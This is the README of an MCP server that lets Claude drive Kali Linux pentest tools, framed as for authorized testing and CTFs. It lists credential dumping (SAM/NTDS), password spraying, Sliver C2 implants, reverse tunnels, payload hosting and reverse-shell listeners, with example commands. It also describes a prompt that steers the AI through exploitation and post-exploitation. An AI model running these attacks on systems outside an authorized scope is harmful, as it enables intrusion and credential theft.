Skip to main content
Glama
puffert
by puffert
README.md
# Kali MCP Server

> **Authorized use only.** This tool is built for penetration testing with
> explicit written authorization, CTF competitions, and security research in
> your own lab. Running it against systems you do not own or have permission
> to test is illegal in most jurisdictions. You are responsible for how you
> use it.

A native stdio MCP server for Kali Linux pentesting with **72 typed tools**, structured JSON output, persistent session state, and full C2/desktop/tunneling integration. Built as a ground-up replacement for the [official mcp-kali-server](https://gitlab.com/kalilinux/packages/mcp-kali-server).

```
Official:  Claude  ->  MCP client  ->  HTTP  ->  Flask  ->  subprocess
This:      Claude  ->  SSH  ->  stdio  ->  subprocess
```

## Why Not the Official One?

The official `mcp-kali-server` is a Flask HTTP API that wraps 12 generic `command: str` passthroughs around raw shell execution. No structured output, no session state, no async support. Claude gets back raw terminal text and has to guess what happened.

| | Official (`mcp-kali-server`) | This project |
|---|---|---|
| **Transport** | HTTP Flask API on port 5000 | Native stdio over SSH |
| **Dependencies** | Flask + multiple Python packages | `mcp` (single package) |
| **Tools** | 12 generic command passthroughs | 72 typed tools with schemas |
| **Output** | Raw shell text | Structured JSON (parsed XML, extracted creds, etc.) |
| **Session State** | None | Hosts, credentials, findings persist across calls |
| **Async Jobs** | No | Background jobs with poll/cancel |
| **C2 Integration** | No | Full Sliver framework (10 tools) |
| **Remote Desktop** | No | RDP/VNC with screenshots Claude can see |
| **Tunneling** | No | Chisel, Ligolo, sshuttle, proxychains, socat |
| **GUI Tools** | No | Burp Suite, Wireshark, BloodHound |
| **AD Tools** | Basic | NetExec (full), Evil-WinRM, Kerbrute, Certipy, Responder, bloodyAD + Impacket with auto-parsing |
| **Auto-discovery** | No | Tools auto-populate session (creds, hosts, findings) |
| **Timeouts** | Blanket | Per-tool with graceful SIGTERM -> SIGKILL + partial output capture |
| **Auto-provisioning** | No | Auto-downloads SharpCollection and Chisel Windows binary on first start |

## Setup

### On Kali

```bash
# Copy the server
scp -r . kali@KALI_IP:/opt/kali-mcp/

# Install the one dependency
pip install mcp

# Install recommended tools (most are pre-installed on Kali)
sudo apt install sliver ligolo-ng sshuttle scrot xdotool xclip
pip install bloodyAD

# Verify it starts
python3 /opt/kali-mcp/server.py
# Should show: "Registered 72 tools" and "running on stdio"
# First start also auto-clones SharpCollection and downloads chisel.exe for Windows
```

### In Claude Code

Add to `~/.claude.json`:

```json
{
  "mcpServers": {
    "kali-mcp": {
      "command": "ssh",
      "args": ["kali@YOUR_KALI_IP", "cd /opt/kali-mcp && python3 server.py"],
      "timeout": 600
    }
  }
}
```

Replace `YOUR_KALI_IP` with your Kali machine's IP. SSH key auth recommended.

### Verify

In Claude Code, ask Claude to run `ping_sweep` against a test target. You should get structured JSON back with live hosts, not raw nmap text.

### Auto-Provisioning

On first start, the server automatically downloads:

- **[SharpCollection](https://github.com/Flangvik/SharpCollection)** to `/opt/SharpCollection/` — pre-compiled .NET offensive tools (Seatbelt, Rubeus, SharpHound, etc.) for use with `execute-assembly` via Sliver or Evil-WinRM
- **Chisel Windows binary** to `/opt/chisel-windows/chisel.exe` — latest release from GitHub for uploading to targets

Both are checked on every startup and only downloaded if missing. Provisioning is controllable via environment variables:

| Variable | Effect |
|----------|--------|
| `KALI_MCP_SKIP_PROVISION=1` | No downloads at startup (offline / OPSEC-sensitive engagements) |
| `KALI_MCP_SHARP_REF=<branch-or-tag>` | Pin the SharpCollection ref (default: `master`) |
| `KALI_MCP_CHISEL_VERSION=<tag>` | Pin the chisel release (default: `latest`) |

---

## All 72 Tools

### Recon (2)
| Tool | Description |
|------|-------------|
| `nmap_scan` | Port/service scan. Returns parsed JSON: hosts, ports, services, OS, scripts. Auto-populates session hosts. Supports async. |
| `ping_sweep` | Quick host discovery via nmap -sn. Returns `{live_hosts: [{ip, hostname}]}`. |

### Web (6)
| Tool | Description |
|------|-------------|
| `gobuster_scan` | Directory/DNS/vhost brute-forcing. Parsed results with path, status, size. |
| `ffuf_scan` | Fast web fuzzer. Structured JSON output with URL, status, size per hit. |
| `dirb_scan` | Web content scanner. Parsed output matching gobuster format. |
| `nikto_scan` | Web server vulnerability scanner. Findings auto-added to session. |
| `sqlmap_scan` | SQL injection scanner. Injection points and databases extracted. SQLi findings auto-added to session. |
| `wpscan_analyze` | WordPress vulnerability scanner. Version, plugins, vulnerabilities. |

### Active Directory / SMB (9)
| Tool | Description |
|------|-------------|
| `nxc_scan` | **NetExec** — the Swiss army knife. Protocols: smb/ldap/winrm/mssql/ssh/rdp/ftp/vnc/wmi. First-class support for: credential testing, user/share/group enum, password policy, SAM/LSA/NTDS dumping, command execution (wmiexec/smbexec/atexec), module execution (lsassy, spider_plus, mimi_sekurlsa, nanodump, zerologon, petitpotam, etc.), password spraying, file upload/download. Admin access (`Pwn3d!`) auto-recorded as critical findings. Dumped hashes auto-added to session. |
| `enum4linux_scan` | Windows/Samba enumeration. Extracts users, shares, groups, password policy into structured data. |
| `bloodhound_ingest` | BloodHound data collection via bloodhound-python. Supports separate `dc_host` (FQDN) and `dc_ip` (DNS) parameters, `--disable-autogc`. |
| `impacket_tool` | Run any Impacket tool. **Auto-parses** secretsdump (NTLM hashes), GetNPUsers (AS-REP hashes), GetUserSPNs (TGS hashes). Handles special characters in passwords. Also supports dacledit, psexec, wmiexec, smbexec, atexec, getTGT, getST, rpcdump, lookupsid, findDelegation, and all others. |
| `evil_winrm` | WinRM shell. One-shot command execution or interactive session. Supports pass-the-hash and PS script loading. |
| `kerbrute` | Kerberos user enumeration and password spraying. Valid creds auto-added to session. |
| `certipy_scan` | AD Certificate Services (ADCS) enumeration and exploitation. Finds ESC1-ESC8 vulnerable templates, auto-adds findings. |
| `responder` | LLMNR/NBT-NS/mDNS poisoner. Captures NTLM hashes. Runs as background job. |
| `bloody_ad` | bloodyAD — AD privilege escalation via DACL/ACE manipulation. Supports getObjectAttributes, setAttribute, addUser, changePassword, addUserToGroup, setShadowCredentials, setGenericAll, setOwner, setRbcd, and more. |

### Cracking (3)
| Tool | Description |
|------|-------------|
| `hydra_attack` | Online brute-forcing. Parsed credentials auto-added to session. |
| `john_crack` | Offline hash cracking. Cracked creds auto-added to session. |
| `hashcat_crack` | GPU-accelerated cracking. Parsed output with status/speed. Cracked passwords auto-added to session. Supports async. |

### Exploitation (3)
| Tool | Description |
|------|-------------|
| `metasploit_run` | Run MSF modules via resource script. Async support. |
| `searchsploit` | Search Exploit-DB. Structured JSON results. |
| `msfvenom_generate` | Generate payloads with any format, encoder, and platform. |

### C2 / Sliver (10)
| Tool | Description |
|------|-------------|
| `sliver_listener` | Start/stop/list listeners: mTLS, HTTP, HTTPS, DNS, WireGuard. |
| `sliver_generate` | Generate session or beacon implants for Windows/Linux/macOS. All architectures, formats (exe/shared/shellcode), evasion options. |
| `sliver_sessions` | List active sessions, beacons, or jobs with optional filtering. |
| `sliver_use` | Run commands on a session/beacon via RC script. Supports ALL implant commands **including armory extensions** (seatbelt, rubeus, nanodump, etc.). Use `execute -o` instead of `shell` for command output. Console noise auto-stripped. |
| `sliver_kill` | Kill sessions, beacons, or jobs. |
| `sliver_profiles` | Create, list, or generate from implant profiles. |
| `sliver_stager` | Generate staged payloads with stage listener setup. |
| `sliver_server` | Manage sliver-server daemon: start/stop/restart, create operators, multiplayer mode. |
| `sliver_armory` | List, search, and install armory extensions and aliases. |
| `sliver_command` | Generic escape hatch for any Sliver console command via RC script. |

### Remote Desktop (10)
| Tool | Description |
|------|-------------|
| `rdp_connect` | Connect to target via RDP. Auto-detects xfreerdp3 vs xfreerdp. Kerberos auth disabled by default (avoids KDC errors). Supports drive sharing, admin mode, cert ignore. |
| `vnc_connect` | Connect to target via VNC. Supports password auth and view-only mode. |
| `desktop_screenshot` | Take a screenshot and **return it as an image Claude can see** (base64 ImageContent). Auto-starts Xvfb for headless environments. Auto-fixes X auth via xhost. Capture full desktop or specific window. |
| `desktop_type` | Send keyboard input via xdotool. Type text or press keys (Return, ctrl+c, alt+F4, etc.). Target specific windows. |
| `desktop_click` | Mouse clicks at coordinates. Left/right/middle button, double-click support. |
| `desktop_mouse_move` | Move cursor to specific coordinates. |
| `desktop_windows` | List all open windows with title, ID, position, and size. |
| `desktop_focus` | Focus/activate a specific window by name or ID. |
| `desktop_clipboard` | Get or set clipboard contents via xclip. |
| `desktop_disconnect` | Close RDP/VNC sessions by job ID or window name (uses xdotool windowclose, not pkill). |
| `desktop_unlock` | Unlock the Kali desktop if screen is locked. Optionally disables screensaver/lock for the session. |

### Tunneling / Pivoting (5)
| Tool | Description |
|------|-------------|
| `chisel` | TCP/UDP tunnel. Start server on Kali or client for SOCKS5 proxy, local/reverse port forwards. Accepts `port` shortcut and string booleans. |
| `ligolo` | Ligolo-ng tunneling proxy. Start proxy, create TUN interfaces, add routes for internal subnets. |
| `proxychains_run` | Run any command through a SOCKS proxy. Auto-generates temp config or uses existing one. |
| `sshuttle` | VPN-over-SSH tunnel to route traffic through compromised hosts. No client needed on target. |
| `socat_relay` | TCP/UDP port relay and forwarding. |

### GUI (7)
| Tool | Description |
|------|-------------|
| `launch_burp` | Start Burp Suite (GUI or headless). |
| `burp_api` | Interact with Burp REST API: start scans, get sitemap, export issues. |
| `launch_wireshark` | Start Wireshark GUI or tshark headless capture. |
| `tshark_analyze` | Analyze pcap files: protocol stats, conversations, filtered output. |
| `launch_bloodhound_gui` | Start BloodHound GUI with Neo4j. Optional data import. |
| `bloodhound_query` | Run Cypher queries against Neo4j. 7 presets for common AD queries (shortest path to DA, kerberoastable, ASREProastable, unconstrained delegation, DCSync rights, high-value targets). |
| `screenshot` | Capture desktop or specific window to file. |

### Command Execution (4)
| Tool | Description |
|------|-------------|
| `execute_command` | Run any shell command. Structured output: `{stdout, stderr, exit_code, runtime_ms}`. Pipes, redirects, everything. Supports async. Max 3600s timeout. **Note:** Avoid `pkill -f` as it can match and kill the MCP process itself — use `killall` by process name instead. |
| `get_job` | Check status/results of a background job. |
| `list_jobs` | List all background jobs with status and runtime. |
| `cancel_job` | Cancel a running background job (SIGTERM). |

### Session State (10)
| Tool | Description |
|------|-------------|
| `set_engagement` | Initialize engagement with name, scope, and working directory. `enforce_scope: true` blocks tool calls targeting IPs outside scope. |
| `get_session` | Full session overview: hosts, creds, findings, notes, stats by severity. |
| `add_host` | Manually add/update a host. Also auto-populated by nmap, ping_sweep, nikto, sqlmap, nxc. |
| `add_credential` | Record a credential. Also auto-populated by hydra, john, hashcat, nxc, kerbrute, impacket (secretsdump/GetNPUsers/GetUserSPNs). |
| `add_finding` | Record a vulnerability with severity. Evidence is optional. Also auto-populated by nikto, sqlmap, certipy, impacket, nxc (Pwn3d! = critical). |
| `add_note` | Free-text note with category. |
| `save_session` | Persist session to JSON file (0600 permissions). |
| `load_session` | Restore a saved session. |
| `generate_report` | Generate a Markdown engagement report: scope, hosts table, credentials table, findings grouped by severity, notes. Written with 0600 permissions. |
| `export_loot` | Export credentials to attack-ready files: `passwords.txt`, `ntlm_hashes.txt` (hashcat -m 1000), `asrep_hashes.txt` (m 18200), `krb5tgs_hashes.txt` (m 13100), `creds.csv`. |

### Support Services (2)
| Tool | Description |
|------|-------------|
| `start_listener` | ncat TCP listener as a background job to catch reverse shells/callbacks. Optional keep-open and TLS. Poll `get_job` for received data. |
| `smb_share` | Host a directory over SMB via impacket-smbserver (background job). Serve payloads to targets, or require auth to capture NTLMv2 hashes from incoming connections. |

---

## How It Works

### Structured Output

Every typed tool parses its output into structured JSON. Instead of Claude reading raw terminal text, it gets data it can reason over:

```
nmap_scan(target="10.10.10.5", ports="445,3389,5985")
->
{
  "hosts": [{
    "addresses": [{"addr": "10.10.10.5", "type": "ipv4"}],
    "ports": [
      {"port": 445, "state": "open", "service": {"name": "microsoft-ds"}},
      {"port": 3389, "state": "open", "service": {"name": "ms-wbt-server"}},
      {"port": 5985, "state": "open", "service": {"name": "wsman"}}
    ]
  }]
}
```

Claude sees "445 open + 5985 open" and decides: "SMB + WinRM available, try nxc for cred testing, then evil-winrm for shell."

### NetExec — Full Integration

NetExec is implemented as a first-class tool with dedicated parameters for all major features instead of stuffing everything into `additional_args`:

```
# Enumerate shares and users
nxc_scan(protocol="smb", target="10.10.10.5", username="admin", password="Pass1", enum="shares,users")

# Dump SAM hashes (auto-added to session)
nxc_scan(protocol="smb", target="10.10.10.5", username="admin", password="Pass1", sam=true)

# Run module
nxc_scan(protocol="smb", target="10.10.10.5", username="admin", password="Pass1", module="lsassy")

# Password spray (continue after success)
nxc_scan(protocol="smb", target="10.10.10.0/24", username="users.txt", password="Spring2024!", continue_on_success=true)

# Execute command
nxc_scan(protocol="smb", target="10.10.10.5", username="admin", password="Pass1", execute="whoami", exec_method="wmiexec")

# Dump NTDS
nxc_scan(protocol="smb", target="10.10.10.5", username="admin", password="Pass1", ntds="drsuapi")
```

Admin access (`Pwn3d!`) is automatically recorded as a critical finding. Dumped hashes are auto-added as credentials.

### Auto-Discovery Pipeline

Tools automatically populate session state as they find things:

```
nmap_scan    ->  session.add_host()         # discovered hosts with ports
hydra/john   ->  session.add_credential()   # cracked passwords
hashcat      ->  session.add_credential()   # cracked hashes
secretsdump  ->  session.add_credential()   # dumped NTLM hashes
GetNPUsers   ->  session.add_credential()   # AS-REP hashes
             +   session.add_finding()      # "AS-REP Roastable" finding
GetUserSPNs  ->  session.add_credential()   # TGS hashes
             +   session.add_finding()      # "Kerberoastable" finding
nikto        ->  session.add_finding()      # web vulnerabilities
sqlmap       ->  session.add_finding()      # SQL injection
certipy      ->  session.add_finding()      # ADCS ESC1-ESC8
nxc          ->  session.add_credential()   # validated credentials
             +   session.add_finding()      # admin access (Pwn3d!)
             +   session.add_credential()   # SAM/NTDS hashes
kerbrute     ->  session.add_credential()   # sprayed passwords
```

Nothing is silently lost. Call `get_session()` at any point for a full engagement overview.

### Async Jobs

Long-running commands don't block. Set `async_job: true` on any tool that supports it:

```
nmap_scan(target="10.10.10.0/24", ports="-", async_job=true)
-> {job_id: "a1b2c3d4", status: "submitted"}

get_job(job_id="a1b2c3d4")
-> {status: "running", runtime_ms: 45000}

get_job(job_id="a1b2c3d4")
-> {status: "completed", result: {stdout: "...", exit_code: 0}}
```

On timeout, partial output is **captured and returned** instead of being discarded.

### Remote Desktop Interaction

Claude can see and interact with remote desktops through the Kali VM:

```
1. rdp_connect(target="10.10.10.5", username="admin", password="Pass1")
   -> {status: "connected", job_id: "xyz"}

2. desktop_screenshot()
   -> [ImageContent: base64 JPEG Claude can see]

3. desktop_type(text="whoami", key="Return")
   -> {status: "sent"}

4. desktop_screenshot()  # see the result
```

- Auto-detects `xfreerdp3` vs `xfreerdp` for correct flag syntax
- Kerberos auth disabled by default (avoids KDC unreachable errors)
- `DISPLAY` and `XAUTHORITY` automatically set for SSH sessions
- `desktop_unlock` available if screen locks during operations
- Works with Xvfb for headless Kali VMs (auto-detected and started)

### Sliver C2 Integration

Three execution modes based on what Sliver actually supports:

- **RC scripts** (`sliver-client console --rc file.rc`) for server operations (listeners, generate, profiles). All scripts auto-append `exit` to prevent hanging.
- **RC scripts with `use <id>`** for session interaction, which enables **armory extensions** (seatbelt, rubeus, etc.)
- **Direct shell** for server daemon management

Console noise (banners, prompts, status lines) is automatically stripped from output.

**Known Limitations:**
- `shell` command doesn't work via RC scripts — use `execute -o cmd.exe /c "command"` instead
- `portfwd` and `socks5` are ephemeral (destroyed when RC script exits) — use `chisel`/`ligolo` for persistent tunneling
- When passing flags to target executables via `execute`, wrap in `cmd.exe /c` to avoid flag collision with Sliver's parser

### Tunneling / Pivoting

Reach internal networks through compromised hosts:

```
# Start chisel server on Kali
chisel(mode="server", port=8080, reverse=true)

# After uploading chisel client to target via sliver:
# Target runs: chisel client KALI_IP:8080 R:socks

# Now route tools through the proxy
proxychains_run(command="nmap -sT 10.10.10.0/24", proxy="socks5 127.0.0.1 1080")
```

Or use sshuttle for transparent tunneling, ligolo-ng for TUN-based routing, or socat for simple port relays.

**Note:** Python asyncio tools (like bloodyAD) bypass proxychains' libc hooks. Use non-asyncio tools through proxychains, or use Sliver's port forwarding for specific ports.

---

## Safety Guardrails

- **Scope enforcement (opt-in):** `set_engagement(name="...", scope=["10.10.10.0/24"], enforce_scope=true)` makes the server reject recon/AD/web/exploit tool calls whose target IP literals fall outside scope — a guardrail against an agent wandering off-target. C2/tunneling/desktop tools are exempt (listener and relay IPs are legitimately foreign), and hostnames are allowed since they can't be verified without DNS.
- **Secret redaction:** credentials passed via `--password`/`-password`/`password=` or URL userinfo (`user:pass@host`) are redacted from the audit log, `list_jobs`, and `get_job` output.
- **Output truncation:** tool output is capped at 200 KB per call so a single `nmap -p-` or NTDS dump can't flood the client's context. The truncation marker tells you to re-run with output redirected to a file.
- **Process-group kill:** timeouts and `cancel_job` terminate the entire process group (SIGTERM, then SIGKILL after 5 s), so shell-wrapped children like nmap or responder don't survive as orphans.
- **Session files** (which contain credentials) are written with `0600` permissions.

---

## Output Parsers

Built-in parsers extract structured data from tool output:

| Parser | Extracts |
|--------|----------|
| `parse_nmap_xml` | Hosts, ports, services, OS, scripts from nmap XML |
| `parse_ffuf_json` | URLs, status codes, sizes from ffuf JSON |
| `parse_gobuster_output` | Paths, status codes, sizes from gobuster/dirb text |
| `parse_nikto_output` | Server info and vulnerability findings |
| `parse_sqlmap_output` | Injection points and discovered databases |
| `parse_hydra_output` | Cracked credentials (host, port, service, user, pass) |
| `parse_john_output` | Cracked hash:password pairs |
| `parse_hashcat_output` | Cracked hashes, GPU speed, progress status |
| `parse_wpscan_output` | WordPress version, plugins, vulnerabilities |
| `parse_nxc_output` | Hosts, shares, hashes, admin access, success/failure per target |
| `parse_enum4linux_output` | Users, shares, groups, password policy |
| `parse_secretsdump_output` | SAM hashes, NTDS hashes, LSA secrets, DPAPI keys |
| `parse_getnpusers_output` | AS-REP roastable users with hashes |
| `parse_getuserspns_output` | Kerberoastable SPNs with TGS hashes |

---

## Project Structure

```
server.py                Main entry point - stdio MCP server + auto-provisioning
executor.py              Async subprocess runner with job management
session.py               Engagement state: hosts, creds, findings
requirements.txt         Single dependency: mcp>=1.0.0
requirements-dev.txt     Test dependencies: pytest, mcp
pytest.ini               Test configuration
tools/
  registry.py            Central tool registry, dispatch, and scope-enforcement gate
  parsers.py             14 output parsers for structured data extraction
  _recon.py              nmap, ping_sweep
  _web.py                gobuster, ffuf, dirb, nikto, sqlmap, wpscan
  _ad.py                 nxc, enum4linux, bloodhound, impacket, evil-winrm, kerbrute, certipy, responder, bloodyAD
  _cracking.py           hydra, john, hashcat
  _exploit.py            metasploit, searchsploit, msfvenom
  _sliver.py             10 Sliver C2 tools
  _desktop.py            10 remote desktop interaction tools + unlock
  _tunneling.py          chisel, ligolo, proxychains, sshuttle, socat
  _command.py            execute_command, job management
  _session.py            Engagement session tools + report/loot export
  _services.py           ncat listener, SMB share hosting
  _gui.py                Burp, Wireshark, BloodHound, screenshots
tests/
  test_parsers.py        Parser tests with realistic tool output samples
  test_session.py        Session state, scope matching, save/load
  test_executor.py       Execution, timeouts, jobs, cancellation, redaction
  test_registry.py       Tool registration and the scope-enforcement gate
  test_loot_report.py    Report renderer and loot exporter
SYSTEM_PROMPT.md         Behavioral instructions for Claude during engagements
CLAUDE.md                Project-specific Claude Code instructions
claude_code_config.json  Example Claude Code MCP configuration
```

## Tests

```bash
pip install -r requirements-dev.txt
python -m pytest          # 54 tests: parsers, session, executor, registry, loot/report
```

The suite runs cross-platform for development, but the server itself targets
Kali Linux — two POSIX-only tests (process-group semantics, POSIX argv
quoting) are skipped on Windows and execute on Kali.

## Behavioral Prompt

`SYSTEM_PROMPT.md` tells Claude how to behave during engagements:

- Start every engagement with `set_engagement(..., enforce_scope=true)` and stop immediately if a call is blocked as out-of-scope
- State what it's doing before each tool call
- Summarize findings after each call (not raw output dumps)
- Stop after 3 failed attempts and ask before continuing
- Auto-record findings and credentials to session
- Follow pentest methodology: recon -> enum -> vuln assessment -> exploitation -> post-ex
- Not repeat scans already in session state
- Prefer typed tools over execute_command
- Use async jobs for scans > 2 minutes
- Test discovered credentials immediately against other services
- Handle truncated output by re-running to a file instead of guessing
- Deliver payloads via `smb_share`, catch callbacks via `start_listener`
- Close out with `export_loot` + `generate_report`

Copy `SYSTEM_PROMPT.md` content into your project's `CLAUDE.md` to activate.

## Requirements

- **Kali Linux** with standard tools installed
- **Python 3.10+**
- **`mcp` package** (`pip install mcp`)
- **SSH access** from your Claude Code machine to Kali (key-based recommended)

### Optional Tool Dependencies

| Category | Packages |
|----------|----------|
| **Core** (pre-installed on Kali) | nmap, gobuster, ffuf, nikto, sqlmap, hydra, john, hashcat, metasploit, netexec, enum4linux, impacket, responder, evil-winrm, chisel, socat, proxychains4 |
| **C2** | `sudo apt install sliver` |
| **Tunneling** | `sudo apt install ligolo-ng sshuttle` |
| **AD** | `pip install bloodyAD`, `sudo apt install certipy-ad`, [kerbrute](https://github.com/ropnop/kerbrute/releases) |
| **Desktop** | `sudo apt install xdotool xclip scrot xvfb` (for headless) |
| **Auto-provisioned** | [SharpCollection](https://github.com/Flangvik/SharpCollection) (`/opt/SharpCollection/`), [Chisel Windows](https://github.com/jpillora/chisel/releases) (`/opt/chisel-windows/chisel.exe`) |

## Contributing

See [CONTRIBUTING.md](CONTRIBUTING.md) for dev setup, how to add a tool, and
the rules of the road. The test suite (`python -m pytest`) must stay green.

## License

MIT — see [LICENSE](LICENSE). Use it, fork it, ship it. Just stay legal:
authorized testing only.